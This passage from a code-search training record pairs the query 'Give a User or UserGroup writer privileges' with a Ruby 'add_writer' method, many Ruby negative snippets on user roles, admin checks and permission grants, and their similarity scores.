reviewer?(project, category, labels)\n has_capability?(project, category, :reviewer, labels) ||\n traintainer?(project, category, labels)\n end", "def is_content_creator?\n\t\treturn self.usertype == \"content_creator\"\n\tend", "def can_review?\n reviewer? || moderator? || administrator?\n end", "def ever_reviewed_by?(user_id)\n\t\tself.reviews.any?{|review| review.user_id == user_id}\n\tend", "def donors?(other_user)\n\t\tdonors.include?(other_user)\n\tend", "def is_user_moderator?(user)\n result = false\n if(user)\n if user.has_system_role('moderator')\n result = true\n end\n\n\n if(created_by==user.id)\n result = true\n end\n\n self.publishers.each do |organism|\n if organism.is_user_moderator?(user)\n result = true\n end\n end\n end\n return result\n\t\n end", "def owner? usr\n user_id == usr.id\n end", "def has_bucket_access?(user)\n if user.nil?\n false\n else\n if self.user == user\n return true\n elsif self.study_shares.non_reviewers.map(&:downcase).include?(user.email.downcase)\n return true\n else\n self.user_in_group_share?(user, 'View', 'Edit')\n end\n end\n end", "def reviewing?(other_user)\n reviewing.include?(other_user)\n end", "def rated_by?(user, dimension = nil)\n !rate_by(user, dimension).nil?\n end", "def is_referente?\n return (Convention.all(:conditions => {:user_id => self.id}).count > 0)\n end", "def owned_by?(user_id)\n user_id = user_id.id if user_id.is_a?(User)\n has_role(user_id, :creator)\n end", "def current_user_is_author?\n current_user && current_user.is_author\n end" ]
[ "0.7935975", "0.74457484", "0.72876996", "0.72351986", "0.7111891", "0.7111891", "0.7111891", "0.7100824", "0.70548874", "0.6968953", "0.6940173", "0.69332594", "0.6913268", "0.6814002", "0.67558503", "0.6684775", "0.6677316", "0.664605", "0.65852547", "0.6579565", "0.653642", "0.6529035", "0.6523761", "0.6523473", "0.6499106", "0.6478676", "0.6462281", "0.6458142", "0.6444685", "0.64412063", "0.6396581", "0.6393022", "0.6381039", "0.6376692", "0.63753146", "0.63753146", "0.6354896", "0.6352538", "0.63513726", "0.63301307", "0.6328357", "0.63278365", "0.63245696", "0.6316056", "0.6311257", "0.6302949", "0.62953675", "0.629493", "0.628716", "0.6275298", "0.6264267", "0.62455237", "0.6240137", "0.62352234", "0.6234297", "0.6231361", "0.62275493", "0.6223445", "0.62191", "0.6217943", "0.6213337", "0.62067246", "0.62029135", "0.62029135", "0.61884683", "0.61845726", "0.61800283", "0.614741", "0.6145142", "0.6136877", "0.6133577", "0.61332726", "0.6127205", "0.61241364", "0.61118466", "0.611089", "0.6107159", "0.61056215", "0.6104305", "0.60964507", "0.60901004", "0.6085923", "0.6076611", "0.60719013", "0.60694814", "0.60692674", "0.60610193", "0.60489416", "0.60434157", "0.60424584", "0.6039393", "0.6036519", "0.6033745", "0.6031947", "0.6030846", "0.60298526", "0.6027931", "0.60205334", "0.6020243", "0.6016835" ]
0.76218224
1
Give a User or UserGroup admin privileges.
def add_admin(arg) chg_permission(admins, arg, :add) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def admin_user\n @group = Group.find(by_id)\n redirect_to @group unless @group.has_admin?(current_user)\n end", "def set_as_admin\n self.role = USER_ROLES[:admin]\n end", "def make_admin\n authorize! @user\n @user.roles = @user.roles + ['admin']\n @user.save\n redirect_to @user, notice: t('user.made_admin', name: @user.username)\n end", "def enable_admin\n if current_user.admin?\n user = User.find(params[:id])\n user.update_attribute(\"admin\", true)\n redirect_to \"/users\"\n else\n redirect_to \"/home\"\n flash[:warning] = \"Only admins can perform that action.\"\n end\n end", "def admin_user\n @group = Membership.find(params[:id]).group\n redirect_to group_members_url(@group) unless @group.has_admin?(current_user)\n end", "def assign_administrator(user_id)\n add_user(user_id, true, true)\n end", "def give_admin(admin, user_id)\n return get_db_as_hash().execute(\"UPDATE user SET admin = 1 WHERE user_id = ? \", user_id).first\n end", "def admin_user\n #redirect_to(root_url) unless\n current_user.admin || current_user.super_admin?# || top_layer_administrator\n end", "def set_admin(bool)\n bool ? self.add_role(:admin) : self.remove_role(:admin)\n end", "def require_admin\n deny_wrong_user if !admin?\n end", "def require_admin\n grant_access?(\"index\", \"users\")\n #position?('admin')\n end", "def assign_administrator(user_id)\n\t\tadd_user(user_id, true, true)\n\tend", "def authorize_admin\n\t\tauthorize( ADMIN_USER_LEVEL ) \n\tend", "def add_group_as_admin(group)\n add_group_as_member group\n promote_in_group group\n end", "def admin_user \n if (!current_user.lunches_admin?) \n flash[:alert] = 'You not allowed to edit menu.'\n \n redirect_to(root_url)\n end\n end", "def admin_of(group)\n current_user.is_admin?(group)\n end", "def make_admin\n @user = User.find(params[:user_id])\n @user.admin = !@user.admin\n @user.save\n redirect_to users_path\n end", "def admin_user\n redirect_to(root_url) and flash[:danger] = \"Only admins can do that!\" unless current_user.admin?\n\n end", "def setAdmin id, username\n\n user = User.get(id,username)\n if user.isAdmin?\n if id != '1' && username != user_name\n user.setAdminOff\n end\n else\n user.setAdminOn\n end\n userSave user\n end", "def make_user_administrator(usr)\n user_groups = usr.send(Lockdown.user_groups_hbtm_reference)\n user_groups << Lockdown.user_group_class.\n find_or_create_by_name(Lockdown.administrator_group_string)\n end", "def auto_elevate!\n add_role :superuser\n end", "def admin_user\n\t\t\tflash_text = \"Administrative privilege required to perform this action.\"\n\t\t\tflash[:danger] = flash_text unless current_user.admin?\n\t\t\tredirect_to(root_url) unless current_user.admin?\n\t\tend", "def admin_user\n unless this_is_admin?(current_user)\n flash[:danger] = \"You don't have the rights for this action.\"\n redirect_to(root_url)\n end\n end", "def admin_user\n unless this_is_admin?(current_user)\n flash[:danger] = \"You don't have the rights for this action.\"\n redirect_to(root_url)\n end\n end", "def admin_user\n unless current_user && current_user.admin?\n redirect_to login_url, notice: \"admin can only do this action.\" \n end\n end", "def set_as_admin\n self.admin = true\n end", "def admin_user\n if(!current_user.admin?)\n flash[:danger] = \"Access Denied. Admin required\"\n redirect_to root_url\n end\n end", "def admin_user\n\t\tunless admin? \n\t\t\tflash[:danger] = \"Only administrators have access to this page\"\n\t\t\tredirect_back_or(root_url) \n\t\tend\n\tend", "def grant_system_admin_privileges(user)\n can :manage, AccountPlan\n end", "def deny_admin_suicide\n raise 'admin suicided' if User.count(&:admin) <= 1\n end", "def deny_admin_suicide\n raise 'admin suicided' if User.count(&:admin) <= 1\n end", "def setup_admin\n create_admin_user\n create_admin_organization\n update_admin_user_perms\nend", "def admin_actions(user)\n can_act_as_logged_in_user(user)\n can_view_any_profile\n can_view_any_gallery\n can_edit_saved_queries\n can_curate\n can_update_metadata\n can_administer\n end", "def admin_user\n redirect_to root_url, notice: \"You do not have permission to view or edit this information.\" unless current_user.admin?\n end", "def admin\n\t\tcan :manage, :all\n\tend", "def if_admin(m, &block)\r\n s = Session(m)\r\n if s && s.user.is_admin?\r\n yield\r\n else\r\n no_permission m\r\n end\r\n end", "def allow_if_admin\n unless is_admin?\n flash[:danger] = \"Administration permissions needed to access to this page\"\n redirect_to new_user_session_path\n end\n end", "def administrator\n can :manage, :all\n end", "def toggle_admin\n do_toggle_role :admin\n end", "def give_admin_access_to(login)\n give_access_to(:admin, login)\n end", "def custom_permissions\n if user_groups.include?(\"admin\")\n can :manage, :all\n end\n end", "def be_admin\n if current_user.switch_to(\"admin\")\n flash[:notice] = \"You have now an 'admin' role\"\n else\n flash[:error] = \"You are not authorized to have a 'admin' role\"\n end\n redirect_to( request.env[\"HTTP_REFERER\"])\n end", "def admin_in!\n access_denied! unless current_user.admin?\n end", "def admin_user\n @user = current_user\n redirect_to @user unless @user.admin?\n end", "def authorize_as_admin\n create_admin_user\n login_into_alchemy\n end", "def check_admin_user\n unless current_user && current_user.privilege_admin?\n flash[:danger] = \"You do not have permission to perform this operation\"\n redirect_to root_path\n end\n end", "def admin_user\n\t\tredirect_to(root_url) unless current_user.admin? #NB il metodo \"admin?\" è stato aggiunto direttamente da Rails quando alla creazione ha visto che admin è un booleano\n\tend", "def make_first_user_admin\n return unless User.count.zero?\n\n self.is_admin = true\n self.approved = true\n end", "def fAddAdmin (name, email, pwd)\n @users.addAdmin(name,email,pwd)\n end", "def admin_user\n redirect_to(root_path) unless current_user.try(:admin?) || current_user?(@user)\n end", "def set_admin_user\n\t@admin_user = current_admin_user\n\tend", "def if_admin(m, &block)\r\n s = Session(m)\r\n if s && s.user.is_admin?\r\n yield\r\n else\r\n m.reply(\"you need to be an admin to do that.\")\r\n end\r\n end", "def admin_user\n redirect_to(admin_admins_path) unless current_user.admin?\n end", "def change_privilege\n if Merb::Config[:user] && Merb::Config[:group]\n Merb.logger.verbose! \"About to change privilege to group \" \\\n \"#{Merb::Config[:group]} and user #{Merb::Config[:user]}\"\n _change_privilege(Merb::Config[:user], Merb::Config[:group])\n elsif Merb::Config[:user]\n Merb.logger.verbose! \"About to change privilege to user \" \\\n \"#{Merb::Config[:user]}\"\n _change_privilege(Merb::Config[:user])\n else\n return true\n end\n end", "def ensure_admin!\n # D: Send admin status to log\n logger.debug \"current_user.admin? => #{current_user.admin?}\"\n unless current_user.admin?\n flash[:notice] = 'You do not have sufficient privileges.'\n redirect_to root_path\n return false\n end \n end", "def change_privilege(user, group)\n begin\n if group\n log \"Changing group to #{group}.\"\n Process::GID.change_privilege(Etc.getgrnam(group).gid)\n end\n\n if user\n log \"Changing user to #{user}.\" \n Process::UID.change_privilege(Etc.getpwnam(user).uid)\n end\n rescue Errno::EPERM\n log \"FAILED to change user:group #{user}:#{group}: #$!\"\n exit 1\n end\n end", "def require_admin_privileges\n\t\tredirect_to root_path unless is_global_admin?\n\tend", "def admin?( id )\n acl.has_permission?(id, AlbumACL::ADMIN_ROLE) || SystemRightsACL.singleton.has_permission?(id, SystemRightsACL::SUPPORT_HERO_ROLE)\n end", "def give_admin!\n self.admin = true\n save\n puts \"Felicitation vous etes admin!\"\n true\n end", "def update_administrators\n if user_id_changed?\n if (user_id)\n Membership.find_by_user_id_and_network_id(user_id, id).try(:destroy) # delete membership of new owner\n end \n if (user_id_was)\n Membership.create(:user_id => user_id_was, :network_id => id,\n :administrator => true, :invited_by => User.find(user_id)).accept! # create membership for old owner\n end\n end\n end", "def admin_user\n redirect_to(root_path) unless is_admin?\n end", "def admin_user\n redirect_to(root_url) unless current_user.admin? || current_user.super_admin?\n end", "def admin_user\n unless current_user.admin?\n flash[:danger] = \"You do not have the permission to do that.\"\n redirect_to home_path\n end\n end", "def must_be_admin!\n access_denied! unless current_admin?\n end", "def administrator?(usr)\n user_has_user_group?(usr, Lockdown.administrator_group_symbol)\n end", "def administrator?(usr)\n user_has_user_group?(usr, Lockdown.administrator_group_symbol)\n end", "def is_administrator?(user)\n user.admin == 2\n end", "def set_admin!\n if admin?\n update(admin: false)\n else\n update(admin: true)\n end\n end", "def grant_privileges(role_name, privileges, options = nil)\n policy = create_policy(options, AdminPolicy, default_admin_policy)\n command = AdminCommand.new\n command.grant_privileges(@cluster, policy, role_name, privileges)\n end", "def admin\n unless current_user.admin?\n flash[:danger] = \"Sorry, you must be an admin to do that.\"\n redirect_to user_path(current_user)\n end\n end", "def require_correct_admin\n if current_user.user?\n raise ExceptionTypes::UnauthorizedError.new(\"Admin access only\")\n end\n if current_user.admin?\n raise ExceptionTypes::UnauthorizedError.new(\"You do not have permission to modify the program with ID #{@program.id}\") unless @program.admins.exists? current_user.id\n end\n end", "def admin_user\n\t\t\tredirect_to(root_url) unless current_user.admin?\n\t end", "def register_admin(attributes)\n user = register_user(attributes)\n user.add_role(Role::Admin)\n user.save\n user\n end", "def admin!(user, level: 100)\n return true if admin?(user, target_level: level)\n\n user = user.id if user.is_a? User\n user = MXID.new(user.to_s) unless user.is_a? MXID\n raise ArgumentError, 'Must provide a valid user or MXID' unless user.user?\n\n modify_user_power_levels({ user.to_s.to_sym => level })\n end", "def admin_required\n current_user.is_admin? || access_denied\n end", "def admin_user\n if user_signed_in? && current_user.adminrole?\n flash.now[:success] = \"Admin Access Granted\"\n else\n redirect_to root_path\n end\n end", "def admin_required\n current_user.respond_to?('is_admin') && current_user.send('is_admin') || access_denied\n end", "def admin_user\n render_forbidden unless current_user.admin?\n end", "def admin_user\n #redirect_to(root_url) unless\n current_user.admin?\n end", "def admin_user\n #redirect_to(root_url) unless\n current_user.admin?\n end", "def ensure_admin_user!\n redirect_to(enemy_templates_path, :alert => \"You may not perform this action on enemies!\") and return unless current_user.admin?\n end", "def admin_user\n unless @is_admin\n flash[:danger] = \"Must be admin to modify recipes\"\n redirect_to(recipes_url) \n end\n end", "def admin_user\n\t\t\tredirect_to(root_url) unless current_user.admin?\n\t\tend", "def admin_user\n\t\t\tredirect_to(root_url) unless current_user.admin?\n\t\tend", "def admin\n #manager\n #include User,CmsRole\n can :manage, :all\n end", "def require_admin\n not_authorized(\"Invalid credentials.\") unless is_admin?\n end", "def admin_only\n deny_access(\"Necesitas tener privilegios de administrador para entrar.\") unless signed_in_as_admin?\n end", "def admin? ; user.instance_of? User and user.role >= 2 ; end", "def admin_user\n\t\tredirect_to(root_path) unless current_user.admin?\n\tend", "def admin?; current_user.admin?; end", "def admin?; current_user.admin?; end", "def admin_user\n redirect_to(root_url) unless !current_user?(@user) && current_user.admin?\n end", "def ensure_at_least_one_admin\n if User.count == 1\n u = User.first\n u.add_role :admin\n u.save!\n end\n end", "def admin_user\n redirect_to(root_path) unless (current_user != nil && current_user.admin == true)\n end", "def require_admin\n unless admin?\n flash[:warning] = \"Sorry, only administrators can do that.\"\n redirect_to Warnings_url\n end\n end", "def admin?\n c_user = current_user\n not c_user.nil? and c_user.group==\"admin\"\n end", "def require_admin\n unless (@current_user && @current_user.is_admin?)\n set_notification_messages(I18n.t(\"authentication.permission_denied_heading\"), I18n.t(\"authentication.permission_denied_message\"), :error)\n redirect_to_sign_in_page\n return\n end\n end", "def admin_user\n unless admin_user?\n redirect_to login_url\n end\n end", "def admin_access_required\n access_denied unless admin?\n end", "def admin_access_required\n access_denied unless admin?\n end" ]
[ "0.707149", "0.70289695", "0.6964978", "0.6943717", "0.6941076", "0.69249886", "0.6842406", "0.6791833", "0.67640865", "0.6751026", "0.67500645", "0.6725532", "0.6697159", "0.66841", "0.6675297", "0.6667297", "0.6659703", "0.6645084", "0.6635761", "0.6604771", "0.65942305", "0.65594256", "0.65515023", "0.65515023", "0.65431607", "0.6542744", "0.65295583", "0.65272135", "0.6509298", "0.6507394", "0.6507394", "0.648697", "0.64743894", "0.6462255", "0.64602697", "0.64527553", "0.644833", "0.6443908", "0.6441426", "0.64389557", "0.64369965", "0.6426357", "0.6426046", "0.6423495", "0.64223987", "0.6419151", "0.64093053", "0.6400742", "0.64003795", "0.6372929", "0.6364787", "0.6362506", "0.635903", "0.6354933", "0.6349323", "0.63390905", "0.6335699", "0.63312435", "0.63280076", "0.63256776", "0.6315583", "0.6313814", "0.63094085", "0.62984705", "0.62974864", "0.62974864", "0.6296692", "0.62955636", "0.62935805", "0.6290513", "0.62899864", "0.62890875", "0.62879264", "0.62855107", "0.62848204", "0.6282467", "0.62817335", "0.6277566", "0.62740797", "0.62740797", "0.6269902", "0.6262903", "0.6261757", "0.6261757", "0.6257983", "0.6255285", "0.6233733", "0.6232794", "0.6232393", "0.6231413", "0.6231413", "0.62281036", "0.6227528", "0.62271017", "0.6220053", "0.62182957", "0.62167716", "0.62161064", "0.6209657", "0.6209657" ]
0.6687903
13
Give a User or UserGroup writer privileges.
def add_writer(arg) chg_permission(writers, arg, :add) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def permits_write_access_for(user)\n end", "def writer?(user)\n public_write || permitted?(writers_join_table, user)\n end", "def can_write=(value)\n set_privileges('d', value) unless value\n set_privileges('w', value)\n end", "def user_can_write(user)\n if (self.writing? or self.rejected?) and (self.user == user or self.book.project.owner == user or user.id == 1) then\n return true\n else\n return false\n end\n end", "def write_permitted?\n return (acting_user.administrator? || users.member?(acting_user))\n end", "def update_writein(desc, name, reader, writer, admin)\n result = true\n if name.match(/^(.*\\S) +<.*>$/)\n group = User.find_by_login($1)\n else\n group = User.find_by_login(name) ||\n UserGroup.find_by_name(name)\n end\n if group.is_a?(User)\n group = UserGroup.one_user(group)\n end\n if group\n update_group(desc, :readers, group, reader)\n update_group(desc, :writers, group, writer)\n update_group(desc, :admins, group, admin)\n else\n result = false\n end\n return result\n end", "def assign_administrator(user_id)\n add_user(user_id, true, true)\n end", "def writers\n find_related_frbr_objects( :is_written_by, :which_roles?) \n end", "def writers\n group_users(writers_join_table)\n end", "def new_writer\n Writer.create(user_id: self.id)\n end", "def add_user_permission(u)\n\t\t\n\tend", "def grant_privileges(role_name, privileges, options = nil)\n policy = create_policy(options, AdminPolicy, default_admin_policy)\n command = AdminCommand.new\n command.grant_privileges(@cluster, policy, role_name, privileges)\n end", "def write_permitted?\n return acting_user.administrator?\n end", "def canBeWrittenBy? user\n unless user.class == Modeles::User\n username = user.to_s\n user = Modeles::User.find_by_name username\n unless user\n @errors << \"User #{username} doesn't exists\"\n return false\n end\n end\n if user.isAdmin == 1\n return true\n elsif user.name == @user\n if @userRights == 2 or @userRights >= 6\n return true\n else\n return false\n end\n elsif isIncludedIn? user.groups, @group\n if @groupRights == 2 or @groupRights >= 6\n return true\n else\n return false\n end\n else\n if @othersRights == 2 or @othersRights >= 6\n return true\n else\n return false\n end\n end\n end", "def remove_writer(arg)\n chg_permission(writers, arg, :remove)\n end", "def add_permission( value, type, role )\n new_permission = @connection.drive.permissions.insert.request_schema.new({\n 'value' => value, # 'reports@woolandthegang.com',\n 'type' => type, # 'group',\n 'role' => role, #'reader' \n })\n\n result = @connection.client.execute(\n :api_method => @connection.drive.permissions.insert,\n :body_object => new_permission,\n :parameters => { 'fileId' => @google_file.data.id })\n end", "def assign_administrator(user_id)\n\t\tadd_user(user_id, true, true)\n\tend", "def setPermission( other_user, perm )\n if ( (not other_user.valid?) or ( other_user.is_a?(User) == false ) )\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n # d \"basic check failed\"\n # d other_user.type\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n return false\n end\n user = getUser()\n if ( other_user == user )\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n # d \"same user as owner\"\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n return true\n end\n if not self.special_users\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n # d \"creating special users group\"\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n self.special_users = {}\n end\n self.special_users[other_user.id.to_s] = perm\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n # d \"new permission:\"\n # d self.special_users\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n return true\n end", "def set_default_role\n if self.admin?\n self.admin!\n else\n self.writer!\n end\n end", "def write_permission_check(*args)\n # Don't prevent writes if creating a new object (anyone should be able to do this)\n return unless self.exist?\n\n if LinkedData.settings.enable_security\n user = nil\n options_hash = {}\n args.each {|e| options_hash.merge!(e) if e.is_a?(Hash)}\n user = options_hash[:user]\n\n # Allow a passed option to short-cut the security process\n return if options_hash[:override_security]\n\n user ||= Thread.current[:remote_user]\n\n reference_object = self\n\n # If we have a modified object, we should do the security check\n # on the original. This allows a user to change the ownsership of\n # an object without having to add the owner and have the new owner\n # remove the original owner.\n reference_object = self.class.find(self.id).first if self.modified?\n\n # Allow everyone to write\n return if reference_object.access_for_all?\n\n # Load attributes needed by security\n if reference_object.access_control_load?\n # Only load ones that aren't loaded so we don't overwrite changes\n not_loaded = []\n reference_object.access_control_load_attrs.each do |attr|\n not_loaded << attr unless reference_object.loaded_attributes.include?(attr)\n end\n reference_object.bring(*not_loaded) unless not_loaded.empty?\n end\n\n writable = reference_object.writable?(user)\n raise LinkedData::Security::WriteAccessDeniedError, \"Write access denied: #{reference_object.id}\" unless writable\n end\n end", "def permits?( priv, user = User.current )\n (priv, associate) = disassemble_priv( priv )\n check_user_set!(user, priv, associate)\n user.can?( priv, associate )\n end", "def write_permission(modulus, controller, cancan_action, name)\n permission = Permit.where(\n modulus: modulus,\n controller: controller,\n action: cancan_action\n ).first\n\n unless permission\n if I18n.t(\"controllers.#{controller}\").include?('translation missing')\n raise \"Controller sem tradução: #{controller}\"\n end\n\n permission = Permit.new\n permission.name = name\n permission.modulus = modulus\n permission.controller = controller\n permission.action = cancan_action\n permission.save!\n end\nend", "def add_right_to_personalgroup(right)\n self.rights << right\n end", "def change_privilege(user, group)\n begin\n if group\n log \"Changing group to #{group}.\"\n Process::GID.change_privilege(Etc.getgrnam(group).gid)\n end\n\n if user\n log \"Changing user to #{user}.\" \n Process::UID.change_privilege(Etc.getpwnam(user).uid)\n end\n rescue Errno::EPERM\n log \"FAILED to change user:group #{user}:#{group}: #$!\"\n exit 1\n end\n end", "def create_user_permissions\n group.users.each do |user|\n create_permission_for(user)\n end\n end", "def add_creator_as_group_admin!\n Membership.create!(\n basic_resource_group_id: group.id,\n user: creator,\n role: ::BasicResources::Membership::ROLES[:admin]\n )\n end", "def change_privilege\n if Merb::Config[:user] && Merb::Config[:group]\n Merb.logger.verbose! \"About to change privilege to group \" \\\n \"#{Merb::Config[:group]} and user #{Merb::Config[:user]}\"\n _change_privilege(Merb::Config[:user], Merb::Config[:group])\n elsif Merb::Config[:user]\n Merb.logger.verbose! \"About to change privilege to user \" \\\n \"#{Merb::Config[:user]}\"\n _change_privilege(Merb::Config[:user])\n else\n return true\n end\n end", "def set_user_permission(id, level)\n @permissions[:users][id] = level\n end", "def current_user_can_write_to_collection?\n session[:group_id] && current_group.user_has_permission?(current_uid, 'write')\n end", "def publisher_admin(role)\n\n can :manage, Publication, :publisher_id => role.publisher_id\n can :update, Publisher, :id => role.publisher_id\n can :update, IssueState\n can :update, AdminUser, :id => @user.id\n\n\n\n end", "def make_user_administrator(usr)\n user_groups = usr.send(Lockdown.user_groups_hbtm_reference)\n user_groups << Lockdown.user_group_class.\n find_or_create_by_name(Lockdown.administrator_group_string)\n end", "def change_privilege(user, group=user)\n Merb.logger.info \"Changing privileges to #{user}:#{group}\"\n \n uid, gid = Process.euid, Process.egid\n target_uid = Etc.getpwnam(user).uid\n target_gid = Etc.getgrnam(group).gid\n \n if uid != target_uid || gid != target_gid\n # Change process ownership\n Process.initgroups(user, target_gid)\n Process::GID.change_privilege(target_gid)\n Process::UID.change_privilege(target_uid)\n end\n rescue Errno::EPERM => e\n Merb.logger.error \"Couldn't change user and group to #{user}:#{group}: #{e}\"\n end", "def permissions_for_web_writable(aPath)\n\t\trun \"#{sudo} chmod -R g+w #{MiscUtils.append_slash(aPath)}\"\n\tend", "def assign_role\n self.add_role!(\"user\")\n end", "def add_group_permission(g)\n\t\t\n\tend", "def setPermissionEdit( other_user )\n return setPermission( other_user, Dfile::PP_MAYEDIT )\n end", "def modify_description_permissions(desc, args)\n old_read = desc.public_was\n new_read = desc.public\n old_write = desc.public_write_was\n new_write = (desc.public_write == '1')\n\n # Ensure these special types don't change,\n case desc.source_type\n when :public\n flash_warning(:runtime_description_public_read_wrong.t) if !new_read\n flash_warning(:runtime_description_public_write_wrong.t) if !new_write\n new_read = true\n new_write = true\n when :foreign\n flash_warning(:runtime_description_foreign_read_wrong.t) if !new_read\n flash_warning(:runtime_description_foreign_write_wrong.t) if new_write\n new_read = true\n new_write = false\n end\n\n new_readers = []\n new_writers = []\n\n # \"Public\" means \"all users\" group.\n if !old_read && new_read\n new_readers << UserGroup.all_users\n desc.public = true\n end\n if !old_write && new_write\n new_writers << UserGroup.all_users\n end\n\n # \"Not Public\" means only the owner...\n if old_read && !new_read\n new_readers << UserGroup.one_user(desc.user)\n end\n if old_write && !new_write\n new_writers << UserGroup.one_user(desc.user)\n end\n\n # ...except in the case of projects.\n if (desc.source_type == :project) and\n (project = desc.project)\n if old_read && !new_read\n # Add project members to readers.\n new_readers << project.user_group\n end\n if old_write && !new_write\n # Add project admins to writers.\n new_writers << project.admin_group\n end\n end\n\n # Make changes official.\n if new_readers.any?\n args[:set_reader_groups] = desc.reader_groups = new_readers\n end\n if new_writers.any?\n args[:set_writer_groups] = desc.writer_groups = new_writers\n end\n end", "def set_perms\n self.perms = Access.for_user(self)\n end", "def grant(subject, object, right=Right::RW)\n capability = Capability.new(subject, object, right, @seed)\n object_map[object] = [capability, subject]\n subject.give(capability.clone)\n capability\n end", "def set_permissions(username,tags,is_admin = false)\n begin\n p = lookup_permissions(username)\n if !p\n # upsert\n p = Permissions.create!\n p.username = username\n end\n p[:tags] = tags\n p[:is_admin] = is_admin\n p.save!\n if !p.persisted?\n raise \"Failed to save user data for #{username}\"\n end\n return true\n rescue\n # TODO: log message?\n return false\n end\n end", "def writable?\n (mode & P_USR_W) != 0 || (mode & P_GRP_W) != 0 || (mode & P_OTH_W) != 0\n end", "def add_reader(arg)\n chg_permission(readers, arg, :add)\n end", "def set_privacy(user=nil,level=0)\n # TODO finish and test\n # currently 0 = public, 1 = public but read only, 2 = private, 3 = private and read only\n # in all cases if you are a member you can see it\n end", "def grant_user_privilege(channel, nick, privilege)\n channel = normalized_channel_name(channel)\n privcode = server_type.privilege.key(privilege).chr if server_type.privilege.value? privilege\n privcode ||= privilege\n mode channel, \"+#{privcode}\", nick\n end", "def writeable?\n status_flag?(:kSecWritePermStatus)\n end", "def atest_ID_25872_access_granted_as_contributor()\n #Need to be clarified. Looks like it's already covered with access_granted_as_manager()\n end", "def set_as_admin\n self.role = USER_ROLES[:admin]\n end", "def writable?\n current_user_role_names.each do |role_name|\n return true if Filesystem.test_dir role_name, self, :write\n end\n false\n end", "def xml_serialize(writer)\n serialize_priv(writer, @privileges)\n end", "def grant_write_access(db, service)\n name = service.name\n db_connection = postgresql_connect(@postgresql_config[\"host\"],@postgresql_config[\"user\"],@postgresql_config[\"pass\"],@postgresql_config[\"port\"],name)\n service.bindusers.all.each do |binduser|\n user = binduser.user\n sys_user = binduser.sys_user\n sys_password = binduser.sys_password\n db_connection_sys_user = postgresql_connect(@postgresql_config[\"host\"],sys_user,sys_password,@postgresql_config[\"port\"],name)\n db_connection_sys_user.query(\"vacuum full\")\n db_connection_sys_user.close\n do_grant_query(db_connection,user,sys_user)\n end\n db_connection.query(\"grant create on schema public to public\")\n if get_postgres_version(db_connection) == '9'\n db_connection.query(\"grant all on all tables in schema public to public\")\n db_connection.query(\"grant all on all sequences in schema public to public\")\n db_connection.query(\"grant all on all functions in schema public to public\")\n else\n querys = db_connection.query(\"select 'grant all on '||tablename||' to public;' as query_to_do from pg_tables where schemaname = 'public'\")\n querys.each do |query_to_do|\n db_connection.query(query_to_do['query_to_do'].to_s)\n end\n querys = db_connection.query(\"select 'grant all on sequence '||relname||' to public;' as query_to_do from pg_class where relkind = 'S'\")\n querys.each do |query_to_do|\n db_connection.query(query_to_do['query_to_do'].to_s)\n end\n end\n db_connection.close\n service.quota_exceeded = false\n service.save\n rescue => e\n @logger.warn(\"PostgreSQL Node exception: #{e}\\n\" +\n e.backtrace.join(\"\\n\"))\n end", "def writable(*fields)\n added_fields = add_fields(@write_mask,\"writable\",fields)\n allow(*fields)\n @write_mask = added_fields if(@write_mask.eql?(WILDCARD))\n added_fields\n end", "def contributor?( id )\n acl.has_permission?(id, AlbumACL::CONTRIBUTOR_ROLE) || SystemRightsACL.singleton.has_permission?(id, SystemRightsACL::SUPPORT_HERO_ROLE)\n end", "def custom_permissions\n if user_groups.include?(\"admin\")\n can :manage, :all\n end\n end", "def give_access_to_creator\n user = User.current_user\n unless user.blank?\n user_assignment = user.assigned_apps.where(app_id: self.id) rescue nil\n if user_assignment.blank?\n user.assigned_apps.create!(app_id: self.id)\n PermissionMap.instance.clean(user)\n end\n end\n end", "def create_writer\n writer_name = \"#{name}=\"\n\n return if source_model.resource_method_defined?(writer_name)\n\n source_model.class_eval <<-RUBY, __FILE__, __LINE__ + 1\n #{writer_visibility} # public\n def #{writer_name}(target) # def author=(target)\n relationships[#{name.inspect}].set(self, target) # relationships[:author].set(self, target)\n end # end\n RUBY\n end", "def serialize_priv(writer, privilege)\n writer.start_element('{DAV:}supported-privilege')\n\n writer.start_element('{DAV:}privilege')\n writer.write_element(privilege['privilege'])\n writer.end_element; # privilege\n\n writer.write_element('{DAV:}abstract') unless privilege['abstract'].blank?\n\n writer.write_element('{DAV:}description', privilege['description']) unless privilege['description'].blank?\n\n if privilege.key?('aggregates')\n privilege['aggregates'].each do |sub_privilege|\n serialize_priv(writer, sub_privilege)\n end\n end\n\n writer.end_element; # supported-privilege\n end", "def add_as_moderator\n api('room.add_moderator', :roomid => room.id, :section => room.section, :target_userid => id)\n true\n end", "def make_admin\n authorize! @user\n @user.roles = @user.roles + ['admin']\n @user.save\n redirect_to @user, notice: t('user.made_admin', name: @user.username)\n end", "def _change_privilege(user, group=user)\n Merb.logger.warn! \"Changing privileges to #{user}:#{group}\"\n\n uid, gid = Process.euid, Process.egid\n\n begin\n target_uid = Etc.getpwnam(user).uid\n rescue ArgumentError => e\n Merb.fatal!(\"Failed to change to user #{user}, does the user exist?\", e)\n return false\n end\n\n begin\n target_gid = Etc.getgrnam(group).gid\n rescue ArgumentError => e\n Merb.fatal!(\"Failed to change to group #{group}, does the group exist?\", e)\n return false\n end\n\n if (uid != target_uid) || (gid != target_gid)\n # Change process ownership\n Process.initgroups(user, target_gid)\n Process::GID.change_privilege(target_gid)\n Process::UID.change_privilege(target_uid)\n end\n true\n rescue Errno::EPERM => e\n Merb.fatal! \"Permission denied for changing user:group to 